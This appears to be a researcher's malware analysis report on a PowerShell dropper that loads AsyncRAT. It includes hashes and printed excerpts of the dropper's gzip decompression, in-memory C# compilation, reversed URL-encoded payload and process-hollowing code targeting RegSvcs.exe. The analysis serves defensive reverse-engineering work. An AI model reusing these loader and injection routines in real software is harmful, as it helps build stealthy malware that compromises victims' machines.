Introduction

Mevlbkxshp is a powershell script which will be categorized as a dropper. This malware has many features most of which are obfuscation techniques but also has some properties which make it semi fileless. This report will detail these features but not the actual malware being dropped as that will be detailed in another report.

Background

Mevlbkxshp was found by me on April 15th 2022, on the website app.any.run under the category as trojan. At the time of writing this report there were no hits on virus total showing that this is a fairly new malware dropper.

MD5 : cc55cf5d17726a6137c51fecff65659f
Sha-1: 039339bd25e0a3a6183d1c848007377f939eeb04
SHA-256: 2d97a2fb3bb70289266079670be42efa882a361e922dee6a109884222b3336d6

Tactics and Techniques

Obfuscation

Gzip Compression

A byte array is compressed using gzip compression and during run time decompressed. This decompression leads to a C-Sharp file. This C Sharp will be talked about more formally later in this report.

```
Function Decompress {
    [CmdletBinding()]
    Param (
        [Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
        [byte[]] $byteArray = $(Throw("-byteArray is required"))
    )
    Process {
        $input = New-Object System.IO.MemoryStream( , $byteArray )
        $output = New-Object System.IO.MemoryStream
        $gzipStream = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress)
        $gzipStream.CopyTo( $output )
        $gzipStream.Close()
        $input.Close()
        [byte[]] $byteOutArray = $output.ToArray()
        return $byteOutArray
    }
}
```

This decompressed byte array is then compiled right into memory without being dropped.

```
$dictionary = new-object 'System.Collections.Generic.Dictionary[[string],[string]]'
$dictionary.Add("CompilerVersion", "v4.0")
$CsharpCompiler = New-Object Microsoft.CSharp.CSharpCodeProvider($dictionary)
$CompilerParametres = New-Object System.CodeDom.Compiler.CompilerParameters
$CompilerParametres.ReferencedAssemblies.Add("System.dll")
$CompilerParametres.ReferencedAssemblies.Add("System.Management.dll")
$CompilerParametres.ReferencedAssemblies.Add("System.Windows.Forms.dll")
$CompilerParametres.ReferencedAssemblies.Add("mscorlib.dll")
$CompilerParametres.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll")
$CompilerParametres.IncludeDebugInformation = $false
$CompilerParametres.GenerateExecutable = $false
$CompilerParametres.GenerateInMemory = $true
$CompilerParametres.CompilerOptions += "/platform:X86 /unsafe /target:library"
$BB = Decompress($BB)
[System.CodeDom.Compiler.CompilerResults] $CompilerResults = $CsharpCompiler.CompileAssemblyFromSource($CompilerParametres, [System.Text.Encoding]
::Default.GetString($BB))
[Type] $T = $CompilerResults.CompiledAssembly.GetType($TP)
```

URL Encoding

There is a MS-DOS executable which is being loaded here. To avoid detection the authors have reversed and then url encoded the binary. This binary is indeed the ASYNCRAT.

```
[Type] $T = $CompilerResults.CompiledAssembly.GetType($TP)
[Byte[]] $Bytes = [System.Web.HttpUtility]::UrlDecodeToBytes([Microsoft.VisualBasic.Strings]::StrReverse
('00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0
0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0
0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0
0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b3%0d%00%00%00%c0%00%00%0c%00%00%00%00%00%
00%00%00%00%00%a0%d0%e3%ylbmessaf2%c3%a0%d0%a0%d0%e3%--++a0%d0%e3%ycnednepedf2%c3%++a0%d0%e3%ylbmessAtnednepedf2%c3%++++a0%d0%e3%f2%+++++++
+a0%d0%22%*22%d3%egaugnal++++++++++a0%d0%22%fd1fcc44146b595622%d3%nekoTyeKcilbup++++++++++a0%d0%22%*22%d3%erutcetihcrArossecorp++++++++++a0%d0%22%0.0.0.
522%d3%noisrev++++++++++a0%d0%22%slortnoC-nommoC.swodniW.tfosorciM22%d3%eman++++++++++a0%d0%22%23niw22%d3%epyt++++++++++a0%d0%ytitnedIylbmessac3%+++++
+a0%d0%e3%ylbmessAtnednepedc3%++++a0%d0%e3%ycnednepedc3%++a0%d0%--!c3%++a0%d0%e3%--+)retal+dna+PX+swodniW(+sgolaid+dna+slortnoc+nommoc+swodniW+rof+semeht
+elbanE+--!c3%++a0%d0%a0%d0%a0%d0%e3%noitacilppaf2%c3%++a0%d0%e3%sgnitteSswodniwf2%c3%+++
+a0%d0%e3%erawAhtaPgnolf2%c3%eurte3%22%sgnitteSswodniWf2%6102f2%IMSf2%moc.tfosorcim.samehcsf2%f2%a3%ptth22%d3%snlmx
```

Process Injection

As seen later there is a C-Sharp file which is decompressed and compiled. This program injects the MS-DOS executable into the program RegSvcs.exe.

```
0 references
public static void Execute(string path, byte[] payload)
{
    for (int i = 0; i < 5; i++)
    {
        int readWrite = 0x0;
        NativeMethods.StartupInformation si = new NativeMethods.StartupInformation();
        NativeMethods.ProcessInformation pi = new NativeMethods.ProcessInformation();
        si.Size = (UInt32)(Marshal.SizeOf(typeof(NativeMethods.StartupInformation))); //Attention !

        try
        {
            bool createProc = NativeMethods.CreateProcessA(path, "", IntPtr.Zero, IntPtr.Zero, false, 0x00000004 | 0x08000000, IntPtr.Zero, null, ref s
            if (!createProc)
            {
                throw new Exception();
            }

            int fileAddress = BitConverter.ToInt32(payload, 0x3C);
            int imageBase = BitConverter.ToInt32(payload, fileAddress + 0x34);
            int[] context = new int[0xB3];
            context[0] = 0x10002;
            if (IntPtr.Size == 0x4)
            {
                bool getThreadContext = NativeMethods.GetThreadContext(pi.ThreadHandle, context);
                if (!getThreadContext)
                {
                    throw new Exception();
                }
            }
```

```
int sizeOfImage = BitConverter.ToInt32(payload, fileAddress + 0x50);
int sizeOfHeaders = BitConverter.ToInt32(payload, fileAddress + 0x54);
bool allowOverride = false;
int newImageBase = NativeMethods.VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 0x3000, 0x40);

if (newImageBase == 0)
{
    throw new Exception();
}
bool writeProcessMemory = NativeMethods.WriteProcessMemory(pi.ProcessHandle, newImageBase, payload, sizeOfHeaders, ref readWrite);
if (!writeProcessMemory)
{
    throw new Exception();
}

int sectionOffset = fileAddress + 0xF8;
short numberOfSections = BitConverter.ToInt16(payload, fileAddress + 0x6);
for (int k = 0; k < numberOfSections; k++)
{
    int virtualAddress = BitConverter.ToInt32(payload, sectionOffset + 0xC);
    int sizeOfRawData = BitConverter.ToInt32(payload, sectionOffset + 0x10);
    int pointerToRawData = BitConverter.ToInt32(payload, sectionOffset + 0x14);
    if (sizeOfRawData != 0)
```

```
byte[] pointerData = BitConverter.GetBytes(newImageBase);
bool writesProcessMemory = NativeMethods.WriteProcessMemory(pi.ProcessHandle, ebx + 0x8, pointerData, 0x4, ref readWrite);
if (!writesProcessMemory)
{
    throw new Exception();
}
int addressOfEntryPoint = BitConverter.ToInt32(payload, fileAddress + 0x28);
if (allowOverride)
{
    newImageBase = imageBase;
}
context[0x2C] = newImageBase + addressOfEntryPoint;

if (IntPtr.Size == 0x4)
{
    bool setThreadContext = NativeMethods.SetThreadContext(pi.ThreadHandle, context);
    if (!setThreadContext)
    {
        throw new Exception();
    }
}
else
{
    bool wow64SetThreadContext = NativeMethods.Wow64SetThreadContext(pi.ThreadHandle, context);
    if (!wow64SetThreadContext)
    {
        throw new Exception();
    }
}
if (NativeMethods.ResumeThread(pi.ThreadHandle) == (int)(-1 + 0 + 0)) throw new Exception();
```

Process_Injection.cs
MD5 : 45e67de86bb8d6337fb425e17cb50e50
SHA-1: 3853a5f79e09dde625036a1a089c7eaac9d26c3a
SHA-256: 692a7df15cb1f69eb9ac352d7a3ea95bda5c97ca3a47eed540d049006c412848

This file also utilizes dynamic address resolution along with techniques to hide strings. The algorithm was easy to reverse engineer and the code is available on my github.

```
0 references
public static readonly DelegateResumeThread ResumeThread = LoadApi<DelegateResumeThread>("kernel32", "ResumeThread");
0 references
public static readonly DelegateWow64SetThreadContext Wow64SetThreadContext = LoadApi<DelegateWow64SetThreadContext>("kernel32", "Wow64SetThreadContext"
0 references
public static readonly DelegateSetThreadContext SetThreadContext = LoadApi<DelegateSetThreadContext>("kernel32", "SetThreadContext");
0 references
public static readonly DelegateWow64GetThreadContext Wow64GetThreadContext = LoadApi<DelegateWow64GetThreadContext>("kernel32", "Wow64GetThreadContext"
0 references
public static readonly DelegateGetThreadContext GetThreadContext = LoadApi<DelegateGetThreadContext>("kernel32", "GetThreadContext");
0 references
public static readonly DelegateVirtualAllocEx VirtualAllocEx = LoadApi<DelegateVirtualAllocEx>("kernel32", "VirtualAllocEx");
0 references
public static readonly DelegateWriteProcessMemory WriteProcessMemory = LoadApi<DelegateWriteProcessMemory>("kernel32", "WriteProcessMemory");
0 references
public static readonly DelegateReadProcessMemory ReadProcessMemory = LoadApi<DelegateReadProcessMemory>("kernel32", "ReadProcessMemory");
0 references
public static readonly DelegateZwUnmapViewOfSection ZwUnmapViewOfSection = LoadApi<DelegateZwUnmapViewOfSection>("ntdll", "ZwUnmapViewOfSection");
0 references
public static readonly DelegateCreateProcessA CreateProcessA = LoadApi<DelegateCreateProcessA>("kernel32", "CreateProcessA");
```

Conclusion

As stated before, this is indeed a dropper, and a dropper for the ASYNCRAT. The techniques used here were very basic and leads me to believe that this was done by a low level malware

author. Even the process injection was very standard and easy to determine. In conclusion, this malware was basic but had properties about it which could make it hard to detect.

Reversed Engineered Code

- https://github.com/ByridianBlack/Malware_Reversing/tree/main/1.%20Mevlbkxshp%20Powershell%20Script%20Malware%20Analysis